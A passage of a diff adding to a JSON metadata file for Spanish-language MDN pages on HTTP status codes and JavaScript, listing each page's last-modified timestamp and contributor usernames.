+  "Web/HTTP/Status/206": {
+    "modified": "2020-10-15T22:02:08.111Z",
+    "contributors": [
+      "qpdian"
+    ]
+  },
+  "Web/HTTP/Status/301": {
+    "modified": "2020-10-15T22:24:06.781Z",
+    "contributors": [
+      "nullxx"
+    ]
+  },
+  "Web/HTTP/Status/302": {
+    "modified": "2020-10-15T21:59:00.277Z",
+    "contributors": [
+      "B1tF8er",
+      "kraptor",
+      "astrapotro"
+    ]
+  },
+  "Web/HTTP/Status/304": {
+    "modified": "2020-10-15T22:12:46.751Z",
+    "contributors": [
+      "jairoFg12"
+    ]
+  },
+  "Web/HTTP/Status/400": {
+    "modified": "2019-08-03T10:06:53.857Z",
+    "contributors": [
+      "molavec",
+      "Hibot12"
+    ]
+  },
+  "Web/HTTP/Status/401": {
+    "modified": "2020-10-15T21:55:15.004Z",
+    "contributors": [
+      "Clipi",
+      "JuanMacias",
+      "mjaque",
+      "andreximo"
+    ]
+  },
+  "Web/HTTP/Status/403": {
+    "modified": "2020-10-15T21:58:50.466Z",
+    "contributors": [
+      "JuanMacias"
+    ]
+  },
+  "Web/HTTP/Status/404": {
+    "modified": "2020-10-15T21:56:47.503Z",
+    "contributors": [
+      "BrodaNoel"
+    ]
+  },
+  "Web/HTTP/Status/408": {
+    "modified": "2019-03-18T21:30:00.279Z",
+    "contributors": [
+      "juusechec"
+    ]
+  },
+  "Web/HTTP/Status/418": {
+    "modified": "2020-10-15T22:21:28.070Z",
+    "contributors": [
+      "joseluisq",
+      "paolo667"
+    ]
+  },
+  "Web/HTTP/Status/500": {
+    "modified": "2020-12-07T12:32:25.820Z",
+    "contributors": [
+      "dayanhernandez353",
+      "karenonaly",
+      "duduindo",
+      "marcelokruk",
+      "Viejofon"
+    ]
+  },
+  "Web/HTTP/Status/502": {
+    "modified": "2020-10-15T21:56:55.208Z",
+    "contributors": [
+      "josecarbajalbolbot",
+      "AlePerez92",
+      "josmelnoel"
+    ]
+  },
+  "Web/HTTP/Status/503": {
+    "modified": "2020-10-15T22:10:17.555Z",
+    "contributors": [
+      "Parodper",
+      "ajuni880",
+      "diego-bustamante"
+    ]
+  },
+  "Web/HTTP/Status/504": {
+    "modified": "2020-10-15T22:08:08.336Z",
+    "contributors": [
+      "ojeanicolas"
+    ]
+  },
+  "Web/HTTP/Status/505": {
+    "modified": "2020-04-03T20:59:26.896Z",
+    "contributors": [
+      "lp4749791"
+    ]
+  },
+  "Web/HTTP/Status/8080": {
+    "modified": "2020-03-18T21:09:54.600Z",
+    "contributors": [
+      "guzmanoscaralexis"
+    ]
+  },
+  "Web/HTTP/mecanismo_actualizacion_protocolo": {
+    "modified": "2019-03-18T21:45:03.291Z",
+    "contributors": [
+      "patoezequiel",
+      "Sergio_Gonzalez_Collado"
+    ]
+  },
+  "Web/HTTP/recursos_y_especificaciones": {
+    "modified": "2019-03-23T22:03:46.656Z",
+    "contributors": [
+      "_deiberchacon"
+    ]
+  },
+  "Web/JavaScript": {
+    "modified": "2020-11-23T12:49:37.646Z",
+    "contributors": [
+      "SphinxKnight",
+      "kramosr68",
+      "ivanfernandez5209",
+      "Tonatew",
+      "alejogomes944",
+      "Nachec",
+      "victitor800",
+      "Enesimus",
+      "franchesco182001",
+      "pauli.rodriguez.c",
+      "jhonarielgj",
+      "Fegaan",
+      "OOJuanferOO",
+      "nicolas25ramirez",
+      "andreamv2807",
+      "tomasvillarragaperez",
+      "Yel-Martinez-Consultor-Seo",
+      "rodririobo",
+      "isabelsvelasquezv",
+      "fedegianni04",
+      "jaomix1",
+      "TheJarX",
+      "clarii",
+      "NataliaCba",
+      "NicoleCleto1998",
+      "JavScars",
+      "untilbit",
+      "AlePerez92",
+      "aluxito",
+      "luisNavasArg",
+      "jsx",
+      "carlossuarez",
+      "Pablo_Ivan",
+      "teoli",
+      "LeoHirsch",
+      "smarchioni",
+      "ricardo777",
+      "CarlosQuijano",
+      "Scipion",
+      "alquimista",
+      "Nukeador",
+      "ethertank",
+      "Jorge.villalobos",
+      "arleytriana",
+      "arpunk",
+      "inma_610",
+      "StripTM",
+      "Mgjbot",
+      "Superruzafa",
+      "Verruckt",
+      "Jorolo",
+      "Vyk",
+      "Takenbot",
+      "RJacinto"
+    ]
+  },
+  "Web/JavaScript/Acerca_de_JavaScript": {
+    "modified": "2020-09-12T13:33:01.910Z",
+    "contributors": [
+      "Nachec",
+      "fscholz",
+      "teoli",
+      "arpunk",
+      "inma_610",
+      "RickieesES",
+      "StripTM"
+    ]
+  },
+  "Web/JavaScript/Closures": {
+    "modified": "2020-04-08T19:26:44.700Z",
+    "contributors": [
+      "camsa",
+      "wbamberg",
+      "AzazelN28",
+      "JonasBrandel",
+      "fscholz",
+      "guty",
+      "Siro_Diaz",
+      "luigli",
+      "teoli",
+      "FNK",
+      "juanc.jara",
+      "Josias",
+      "neosergio",
+      "hjoaco"
+    ]
+  },
+  "Web/JavaScript/Data_structures": {
+    "modified": "2020-08-30T02:21:59.996Z",
+    "contributors": [
+      "Nachec",
+      "edwinmunguia",
+      "arzr",
+      "rayrojas",
+      "melgard",
+      "mmngreco",
+      "AngryDev",
+      "Gorzas",
+      "alejandrochung",
+      "IXTRUnai",
+      "damnyorch",
+      "devconcept",
+      "sancospi"
+    ]
+  },
+  "Web/JavaScript/Descripción_de_las_tecnologías_JavaScript": {
+    "modified": "2020-09-02T05:54:39.004Z",
+    "contributors": [
+      "Nachec",
+      "duduindo",
+      "threevanny",
+      "Bluterg",
+      "jairoambunad",
+      "geinerjv"
+    ]
+  },
+  "Web/JavaScript/Equality_comparisons_and_sameness": {
+    "modified": "2020-03-24T18:47:23.011Z",
+    "contributors": [
+      "camsa",
+      "abestrad1",
+      "EduardoCasanova",
+      "pekechis"
+    ]
+  },
+  "Web/JavaScript/EventLoop": {
+    "modified": "2020-03-12T19:43:05.672Z",
+    "contributors": [
+      "AzazelN28",
+      "omonteon",
+      "guillermojmc",
+      "eljonims",
+      "MrCoffey",
+      "Anonymous"
+    ]
+  },
+  "Web/JavaScript/Gestion_de_Memoria": {
+    "modified": "2020-03-12T19:40:38.018Z",
+    "contributors": [
+      "Jairgc",
+      "sergio_p_d",
+      "heliogabalo",
+      "elenatorro",
+      "JavierHspn",
+      "cesaralvarado9"
+    ]
+  },
+  "Web/JavaScript/Guide": {
+    "modified": "2020-09-12T21:03:22.983Z",
+    "contributors": [
+      "Nachec",
+      "AmazonianCodeGuy",
+      "tezece",
+      "MarcyG1",
+      "nhuamani",
+      "manuhdez",
+      "e.g.m.g.",
+      "Pablo_Ivan",
+      "nelson6e65",
+      "walterpaoli",
+      "joanvasa",
+      "fscholz",
+      "Benjalorc",
+      "teoli",
+      "mitogh",
+      "xavo7"
+    ]
+  },
+  "Web/JavaScript/Guide/Bucles_e_iteración": {
+    "modified": "2020-10-21T16:48:14.421Z",
+    "contributors": [
+      "sofi8825",
+      "Asj-code",
+      "edutangoeap",
+      "Nachec",
+      "AmazonianCodeGuy",
+      "Leopohf",
+      "Daniel_Martin",
+      "SphinxKnight",
+      "hmorv",
+      "01luisrene",
+      "danielfer",
+      "Pablo_Ivan",
+      "joanvasa"
+    ]
+  },
+  "Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores": {
+    "modified": "2020-09-14T09:17:05.043Z",
+    "contributors": [
+      "Nachec",
+      "AmazonianCodeGuy",
+      "sergioqa123",
+      "Parziva_1",
+      "dcarmal-dayvo",
+      "Rovis",
+      "Enesimus",
+      "abelosky",
+      "Alfacoy",
+      "ashanterius",
+      "enriqueabsurdum",
+      "D4nny-dev",
+      "roadavid",
+      "eljonims",
+      "Nanyin",
+      "Igomezd",
+      "leandropio",
+      "MaFranceschi",
+      "Cleon",
+      "humbertaco",
+      "fscholz",
+      "isnardi"
+    ]
+  },
+  "Web/JavaScript/Guide/Details_of_the_Object_Model": {
+    "modified": "2020-08-17T15:38:30.288Z",
+    "contributors": [
+      "Nachec",
+      "MariaBarros",
+      "AmazonianCodeGuy",
+      "wbamberg",
+      "fherce",
+      "SphinxKnight",
+      "ObsoleteHuman",
+      "ValentinTapiaTorti",
+      "brodriguezs",
+      "DiegoA1114",
+      "montogeek",
+      "fscholz",
+      "teoli",
+      "pheras"
+    ]
+  },
+  "Web/JavaScript/Guide/Expressions_and_Operators": {
+    "modified": "2020-09-13T21:58:37.783Z",
+    "contributors": [
+      "Nachec",
+      "gcjuan",
+      "Orlando-Flores-Huanca",
+      "wajari",
+      "anglozm",
+      "recortes",
+      "Ernesto385291",
+      "Jkierem",
+      "gsalinase",
+      "abestrad1",
+      "milouri23",
+      "Odol",
+      "victorsanchezm",
+      "ElChiniNet",
+      "UshioSan",
+      "siluvana",
+      "juanbrujo",
+      "01luisrene",
+      "gustavgil",
+      "Jaston",
+      "Alexis88",
+      "smarquez1",
+      "ricardochavarri",
+      "fscholz",
+      "spachecojimenez"
+    ]
+  },
+  "Web/JavaScript/Guide/Funciones": {
+    "modified": "2020-10-02T18:21:48.240Z",
+    "contributors": [
+      "alejandro.fca",
+      "Nachec",
+      "AmazonianCodeGuy",
+      "Leopohf",
+      "BubuAnabelas",
+      "marscr",
+      "SantiagoHdez",
+      "beckod",
+      "sergio_p_d",
+      "01luisrene",
+      "yozen",
+      "gersonfa",
+      "HeberRojo",
+      "GabrielaMcr93",
+      "yakashiro",
+      "Cleon",
+      "fscholz",
+      "Glaucius",
+      "teoli",
+      "chebit",
+      "epcode"
+    ]
+  },
+  "Web/JavaScript/Guide/Grammar_and_types": {
+    "modified": "2020-09-12T23:09:43.446Z",
+    "contributors": [
+      "Nachec",
+      "luis-al-merino",
+      "AmazonianCodeGuy",
+      "teknotica",
+      "feliperomero3",
+      "nullx5",
+      "abelosky",
+      "jlopezfdez",
+      "enriqueabsurdum",
+      "Ayman",
+      "AnthonyGareca",
+      "chuyinEF",
+      "estebancito",
+      "bytx",
+      "Pablo_Ivan",
+      "cgsramirez",
+      "eugenioNovas",
+      "marioalvazquez",
+      "joanvasa",
+      "fscholz",
+      "Cleon",
+      "angelnajera",
+      "vinixio",
+      "diegogaysaez",
+      "teoli",
+      "Amatos"
+    ]
+  },
+  "Web/JavaScript/Guide/Introducción": {
+    "modified": "2020-09-14T00:29:05.489Z",
+    "contributors": [
+      "Nachec",
+      "jlopezfdez",
+      "Th3Cod3",
+      "enriqueabsurdum",
+      "arfuengo",
+      "gfvcastro",
+      "RamiroNeher",
+      "fscholz",
+      "MauroEldritch",
+      "Cleon",
+      "orasio",
+      "angelnajera",
+      "rianby64"
+    ]
+  },
+  "Web/JavaScript/Guide/Iterators_and_Generators": {
+    "modified": "2020-03-12T19:42:41.976Z",
+    "contributors": [
+      "camsa",
+      "DJphilomath",
+      "mjaque",
+      "lassmann",
+      "eycopia",
+      "nefter",
+      "dieguezz",
+      "Breaking_Pitt"
+    ]
+  },
+  "Web/JavaScript/Guide/Keyed_collections": {
+    "modified": "2020-09-02T02:09:58.803Z",
+    "contributors": [
+      "Nachec",
+      "MariaBarros",
+      "jesus92gz",
+      "eljonims"
+    ]
+  },
+  "Web/JavaScript/Guide/Meta_programming": {
+    "modified": "2020-08-18T02:34:39.284Z",
+    "contributors": [
+      "Nachec",
+      "asamajamasa",
+      "jaomix1",
+      "jzatarain"
+    ]
+  },
+  "Web/JavaScript/Guide/Módulos": {
+    "modified": "2020-10-15T22:27:31.770Z",
+    "contributors": [
+      "Nachec",
+      "luis.m1tech",
+      "antonioHigueron",
+      "jorgeherrera9103",
+      "FDSoil"
+    ]
+  },
+  "Web/JavaScript/Guide/Numbers_and_dates": {
+    "modified": "2020-09-14T23:27:03.154Z",
+    "contributors": [
+      "Nachec",
+      "ds-developer1",
+      "la-syl",
+      "IsraelFloresDGA",
+      "ingcarlosperez",
+      "georgenevets",
+      "yakashiro"
+    ]
+  },
+  "Web/JavaScript/Guide/Regular_Expressions": {
+    "modified": "2020-10-15T21:29:34.015Z",
+    "contributors": [
+      "Nachec",
+      "wilmer2000",
+      "Ricardo_F.",
+      "lebubic",
+      "franklevel",
+      "recortes",
+      "LuisSevillano",
+      "pangeasi",
+      "Jabi",
+      "bartolocarrasco",
+      "fortil",
+      "BoyFerruco",
+      "Lehmer",
+      "wffranco",
+      "eljonims",
+      "jpmontoya182",
+      "guillermomartinmarco",
+      "fscholz",
+      "eespitia.rea",
+      "jcvergar"
+    ]
+  },
+  "Web/JavaScript/Guide/Regular_Expressions/Aserciones": {
+    "modified": "2020-09-16T20:45:25.257Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Guide/Regular_Expressions/Clases_de_caracteres": {
+    "modified": "2020-09-17T03:20:44.595Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Guide/Regular_Expressions/Cuantificadores": {
+    "modified": "2020-09-15T21:48:26.513Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Guide/Regular_Expressions/Escapes_de_propiedades_Unicode": {
+    "modified": "2020-09-17T10:02:16.387Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Guide/Regular_Expressions/Grupos_y_rangos": {
+    "modified": "2020-09-17T10:14:04.470Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Guide/Regular_Expressions/Hoja_de_referencia": {
+    "modified": "2020-08-16T23:08:15.173Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Guide/Text_formatting": {
+    "modified": "2020-09-15T10:00:50.941Z",
+    "contributors": [
+      "Nachec",
+      "surielmx",
+      "IsraelFloresDGA",
+      "diegarta",
+      "Enesimus",
+      "jalmeida"
+    ]
+  },
+  "Web/JavaScript/Guide/Trabajando_con_objectos": {
+    "modified": "2020-08-18T17:28:58.690Z",
+    "contributors": [
+      "Nachec",
+      "GonzaloFlores",
+      "asamajamasa",
+      "atascii",
+      "davidlondonor",
+      "4rturd13",
+      "GasGen",
+      "MariaBarros",
+      "jmlocke1",
+      "jccuevas",
+      "alerd0895",
+      "elin3t",
+      "SERGIOGLL",
+      "SphinxKnight",
+      "gsalinase",
+      "MarkelCuesta",
+      "Nalex6248",
+      "soulminato",
+      "imNicoSuarez",
+      "jigs12",
+      "rippe2hl",
+      "ajspadial",
+      "fscholz",
+      "acamposg71",
+      "chebit",
+      "teoli",
+      "fmagrosoto",
+      "neosergio",
+      "bluesky777"
+    ]
+  },
+  "Web/JavaScript/Guide/Usar_promesas": {
+    "modified": "2020-05-16T20:15:48.240Z",
+    "contributors": [
+      "angelmartinez",
+      "asamajamasa",
+      "javigallego",
+      "MariaBarros",
+      "JoseVf",
+      "hamfree"
+    ]
+  },
+  "Web/JavaScript/Guide/colecciones_indexadas": {
+    "modified": "2020-08-20T18:50:37.500Z",
+    "contributors": [
+      "Nachec",
+      "EstebanRK",
+      "ccasadom",
+      "jreyesgs",
+      "recortes",
+      "Cxistian",
+      "douwiD",
+      "frantcisko",
+      "joanvasa"
+    ]
+  },
+  "Web/JavaScript/Herencia_y_la_cadena_de_protipos": {
+    "modified": "2020-03-12T19:41:32.707Z",
+    "contributors": [
+      "LeChonch",
+      "SphinxKnight",
+      "Arcandres",
+      "cocososo",
+      "blaipas",
+      "Anonymous",
+      "abnerey",
+      "kdex",
+      "zgluis",
+      "mariodev12",
+      "tavofigse",
+      "guumo",
+      "alagos",
+      "metalback",
+      "MartinIbarra",
+      "10537",
+      "blacknack"
+    ]
+  },
+  "Web/JavaScript/Introducción_a_JavaScript_orientado_a_objetos": {
+    "modified": "2020-03-12T19:36:14.050Z",
+    "contributors": [
+      "ivanagui2",
+      "libre8bit",
+      "alejandrochung",
+      "victorsanchezm",
+      "gchifflet",
+      "hmorv",
+      "Lorenzoygata",
+      "xxxtonixxx",
+      "joan.leon",
+      "fscholz",
+      "DeiberChacon",
+      "chebit",
+      "teoli",
+      "arpunk",
+      "inma_610",
+      "StripTM"
+    ]
+  },
+  "Web/JavaScript/Introduction_to_using_XPath_in_JavaScript": {
+    "modified": "2019-05-08T19:05:57.937Z",
+    "contributors": [
+      "AlbertoPrado70",
+      "caber",
+      "chrisdavidmills",
+      "fscholz",
+      "joakku"
+    ]
+  },
+  "Web/JavaScript/Language_Resources": {
+    "modified": "2020-03-12T19:47:17.832Z",
+    "contributors": [
+      "lajaso",
+      "jpmontoya182"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors": {
+    "modified": "2020-03-12T19:45:01.208Z",
+    "contributors": [
+      "JavScars",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Bad_octal": {
+    "modified": "2020-03-12T19:45:41.442Z",
+    "contributors": [
+      "HaroldV"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma": {
+    "modified": "2020-03-12T19:45:51.961Z",
+    "contributors": [
+      "BubuAnabelas",
+      "Andres62",
+      "ingjosegarrido",
+      "JaimeNorato"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Falta_puntoycoma_antes_de_declaracion": {
+    "modified": "2020-03-12T19:46:13.102Z",
+    "contributors": [
+      "jonatanroot",
+      "Lunacye"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Indicador_regexp_no-val": {
+    "modified": "2020-09-01T13:12:41.234Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Invalid_array_length": {
+    "modified": "2020-03-12T19:46:48.651Z",
+    "contributors": [
+      "Tlauipil"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Invalid_date": {
+    "modified": "2020-03-12T19:47:15.708Z",
+    "contributors": [
+      "untilbit"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Malformed_formal_parameter": {
+    "modified": "2019-10-12T12:26:22.919Z",
+    "contributors": [
+      "JGmr5"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Missing_curly_after_property_list": {
+    "modified": "2020-03-12T19:46:53.938Z",
+    "contributors": [
+      "DGun17"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Missing_formal_parameter": {
+    "modified": "2020-03-12T19:47:16.712Z",
+    "contributors": [
+      "TheEpicSimple"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list": {
+    "modified": "2020-03-12T19:46:54.683Z",
+    "contributors": [
+      "hiuxmaycry",
+      "ivandevp"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/More_arguments_needed": {
+    "modified": "2020-03-12T19:49:21.407Z",
+    "contributors": [
+      "dragonmenorka"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/No_variable_name": {
+    "modified": "2020-03-12T19:48:33.901Z",
+    "contributors": [
+      "CatalinaCampos"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Not_a_codepoint": {
+    "modified": "2020-03-12T19:46:46.603Z",
+    "contributors": [
+      "DGun17"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Not_a_function": {
+    "modified": "2020-03-12T19:45:06.322Z",
+    "contributors": [
+      "PatoDeTuring",
+      "untilbit",
+      "josegarciaclm95"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Not_defined": {
+    "modified": "2020-10-08T09:22:13.757Z",
+    "contributors": [
+      "ludoescribano.2016",
+      "FacuBustamaante",
+      "ozavala",
+      "ccorcoles",
+      "Heranibus",
+      "jsgaonac",
+      "Luis_Armando"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Precision_range": {
+    "modified": "2020-08-10T12:14:52.122Z",
+    "contributors": [
+      "Sgewux"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Property_access_denied": {
+    "modified": "2020-03-12T19:46:35.795Z",
+    "contributors": [
+      "untilbit",
+      "Tlauipil"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Stmt_after_return": {
+    "modified": "2020-03-12T19:46:14.065Z",
+    "contributors": [
+      "WCHARRIERE",
+      "NanoSpicer",
+      "marco_Lozano"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Strict_y_parámetros_complejos": {
+    "modified": "2020-08-31T05:09:49.990Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Too_much_recursion": {
+    "modified": "2020-03-12T19:45:04.878Z",
+    "contributors": [
+      "josegarciaclm95"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Undefined_prop": {
+    "modified": "2020-03-12T19:47:46.684Z",
+    "contributors": [
+      "antixsuperstar"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Unexpected_token": {
+    "modified": "2020-03-12T19:46:40.968Z",
+    "contributors": [
+      "dariomaim"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Unexpected_type": {
+    "modified": "2020-03-12T19:45:53.118Z",
+    "contributors": [
+      "BubuAnabelas",
+      "JaimeNorato"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/caracter_ilegal": {
+    "modified": "2020-03-12T19:47:34.313Z",
+    "contributors": [
+      "kaycdc"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/in_operator_no_object": {
+    "modified": "2020-03-12T19:47:18.421Z",
+    "contributors": [
+      "presercomp"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Proxy/handler": {
+    "modified": "2020-10-15T21:58:11.434Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor": {
+    "modified": "2020-10-15T21:58:10.848Z",
+    "contributors": [
+      "tutugordillo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Proxy/handler/set": {
+    "modified": "2020-10-15T21:58:32.473Z",
+    "contributors": [
+      "tutugordillo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/RangeError": {
+    "modified": "2019-03-23T22:47:01.907Z",
+    "contributors": [
+      "gfernandez",
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/RangeError/prototype": {
+    "modified": "2019-01-16T21:30:19.248Z",
+    "contributors": [
+      "gfernandez"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect": {
+    "modified": "2019-03-18T21:14:43.908Z",
+    "contributors": [
+      "javierlopm",
+      "trofrigo",
+      "lecruz01",
+      "roberbnd",
+      "jameshkramer"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/set": {
+    "modified": "2019-03-23T22:08:25.189Z",
+    "contributors": [
+      "pedro-otero"
+    ]
+  },
+  "Web/JavaScript/Referencia": {
+    "modified": "2020-03-12T19:36:20.902Z",
+    "contributors": [
+      "fscholz",
+      "teoli",
+      "zerospalencia",
+      "Scipion",
+      "ADP13",
+      "DSN_XP",
+      "Talisker",
+      "Sheppy",
+      "Nathymig",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Acerca_de": {
+    "modified": "2020-03-12T19:36:12.769Z",
+    "contributors": [
+      "fscholz",
+      "teoli",
+      "Garf",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Características_Desaprobadas": {
+    "modified": "2020-08-12T05:30:59.632Z",
+    "contributors": [
+      "Nachec",
+      "arturotena",
+      "teoli",
+      "Mgjbot",
+      "DSN XP"
+    ]
+  },
+  "Web/JavaScript/Referencia/Características_Desaprobadas/The_legacy_Iterator_protocol": {
+    "modified": "2020-03-12T19:42:42.667Z",
+    "contributors": [
+      "clystian"
+    ]
+  },
+  "Web/JavaScript/Referencia/Classes": {
+    "modified": "2020-08-20T12:39:55.631Z",
+    "contributors": [
+      "jorendorff-moz",
+      "PatoDeTuring",
+      "jenrrypc",
+      "superyaz",
+      "Alejandro_Hr_Mt",
+      "ivanagui2",
+      "sebaLinares",
+      "nadieenespecial",
+      "SphinxKnight",
+      "damianpm",
+      "andrpueb",
+      "carlosviteri",
+      "danielsalgadop",
+      "kdex",
+      "romanll",
+      "pipo02mix",
+      "coins5",
+      "ragutimar",
+      "jhia",
+      "Erto",
+      "Siro_Diaz",
+      "mishelashala",
+      "Albizures",
+      "fscholz",
+      "GoToLoop"
+    ]
+  },
+  "Web/JavaScript/Referencia/Classes/Class_fields": {
+    "modified": "2020-10-15T22:24:11.873Z",
+    "contributors": [
+      "mgg.isco",
+      "carlos.valicenti",
+      "juanarbol"
+    ]
+  },
+  "Web/JavaScript/Referencia/Classes/Private_class_fields": {
+    "modified": "2020-10-15T22:33:54.045Z",
+    "contributors": [
+      "aronvx"
+    ]
+  },
+  "Web/JavaScript/Referencia/Classes/constructor": {
+    "modified": "2020-10-15T21:40:30.999Z",
+    "contributors": [
+      "Mar.vin.26",
+      "kant",
+      "fscholz",
+      "SphinxKnight",
+      "balboag",
+      "bryanvargas"
+    ]
+  },
+  "Web/JavaScript/Referencia/Classes/extends": {
+    "modified": "2020-03-12T19:43:14.828Z",
+    "contributors": [
+      "miguelusque",
+      "PauPeinado"
+    ]
+  },
+  "Web/JavaScript/Referencia/Classes/static": {
+    "modified": "2020-03-12T19:41:02.475Z",
+    "contributors": [
+      "mizhac",
+      "SphinxKnight",
+      "rbonvall",
+      "fscholz",
+      "MauroEldritch"
+    ]
+  },
+  "Web/JavaScript/Referencia/Funciones": {
+    "modified": "2020-03-12T19:37:38.529Z",
+    "contributors": [
+      "ricardosikic",
+      "JoseHernan",
+      "sergioqa123",
+      "DavidGalvis",
+      "miguelitolaparra",
+      "FranciscoCastle",
+      "SantiagoHdez",
+      "arai",
+      "estebancito",
+      "hugoatenco",
+      "mishelashala",
+      "teoli",
+      "javiertarrio",
+      "Nathymig",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Funciones/Arrow_functions": {
+    "modified": "2020-10-15T21:39:05.489Z",
+    "contributors": [
+      "Nachec",
+      "camsa",
+      "MateoOlarteCampo",
+      "Ivnosing",
+      "DavidGalvis",
+      "fcanellas",
+      "AlePerez92",
+      "crisaragon",
+      "SebastianHondarza",
+      "AVRILALEJANDRO",
+      "slam",
+      "frank-orellana",
+      "DiegoA1114",
+      "Omar.VzqzAc",
+      "oagarcia",
+      "davecarter"
+    ]
+  },
+  "Web/JavaScript/Referencia/Funciones/Method_definitions": {
+    "modified": "2020-03-12T19:44:13.294Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/JavaScript/Referencia/Funciones/Parametros_por_defecto": {
+    "modified": "2020-10-15T21:39:27.233Z",
+    "contributors": [
+      "Nachec",
+      "SphinxKnight",
+      "danielsalgadop",
+      "pancheps"
+    ]
+  },
+  "Web/JavaScript/Referencia/Funciones/arguments": {
+    "modified": "2020-10-15T21:08:39.471Z",
+    "contributors": [
+      "Nachec",
+      "gorydev",
+      "AlePerez92",
+      "oblomobka",
+      "teoli",
+      "DeiberChacon",
+      "leopic",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Funciones/arguments/callee": {
+    "modified": "2020-03-12T19:37:01.881Z",
+    "contributors": [
+      "fscholz",
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Funciones/arguments/length": {
+    "modified": "2020-03-12T19:44:25.066Z",
+    "contributors": [
+      "hmorv",
+      "NestorAlbelo"
+    ]
+  },
+  "Web/JavaScript/Referencia/Funciones/get": {
+    "modified": "2020-03-12T19:37:59.268Z",
+    "contributors": [
+      "ramadis",
+      "DarkScarbo",
+      "MarkelCuesta",
+      "fscholz",
+      "teoli",
+      "carloshs92",
+      "jesanchez",
+      "ccarruitero"
+    ]
+  },
+  "Web/JavaScript/Referencia/Funciones/parametros_rest": {
+    "modified": "2020-08-05T19:22:32.660Z",
+    "contributors": [
+      "paching12",
+      "rlothbrock",
+      "Rhawen",
+      "DavidGalvis",
+      "deluxury",
+      "lacf95",
+      "angelcuenca",
+      "mikicegal14"
+    ]
+  },
+  "Web/JavaScript/Referencia/Funciones/set": {
+    "modified": "2020-10-20T12:54:09.106Z",
+    "contributors": [
+      "alejandro.fca",
+      "alannungaray",
+      "DavidBernal"
+    ]
+  },
+  "Web/JavaScript/Referencia/Gramatica_lexica": {
+    "modified": "2020-10-15T22:24:10.289Z",
+    "contributors": [
+      "Nachec",
+      "fitojb"
+    ]
+  },
+  "Web/JavaScript/Referencia/Iteration_protocols": {
+    "modified": "2020-03-12T19:41:22.496Z",
+    "contributors": [
+      "SphinxKnight",
+      "oagarcia"
+    ]
+  },
+  "Web/JavaScript/Referencia/Modo_estricto": {
+    "modified": "2020-08-30T21:51:49.146Z",
+    "contributors": [
+      "Nachec",
+      "martin_jaime",
+      "javier-aguilera",
+      "olijyat",
+      "Sotelio",
+      "juangpc",
+      "MateoVelilla",
+      "krthr",
+      "Phoneix",
+      "nhuamani",
+      "octopusinvitro",
+      "frasko21",
+      "Anonymous",
+      "federicobond",
+      "elkinbernal21",
+      "migueljo_12",
+      "seeker8"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales": {
+    "modified": "2020-03-12T19:36:16.167Z",
+    "contributors": [
+      "Jethrotul",
+      "yohanolmedo",
+      "JoseGB",
+      "lajaso",
+      "Imvi10",
+      "chavesrdj",
+      "SphinxKnight",
+      "teoli",
+      "KENARKI",
+      "chebit",
+      "ethertank",
+      "Garf",
+      "tiangolo",
+      "Sheppy",
+      "Nathymig",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/AggregateError": {
+    "modified": "2020-10-15T22:31:08.318Z",
+    "contributors": [
+      "Nachec",
+      "Gardeky"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array": {
+    "modified": "2020-10-15T21:15:06.394Z",
+    "contributors": [
+      "JotaCé",
+      "Daniel1404",
+      "MartinCJ08",
+      "lorenzo-sc",
+      "Pagua",
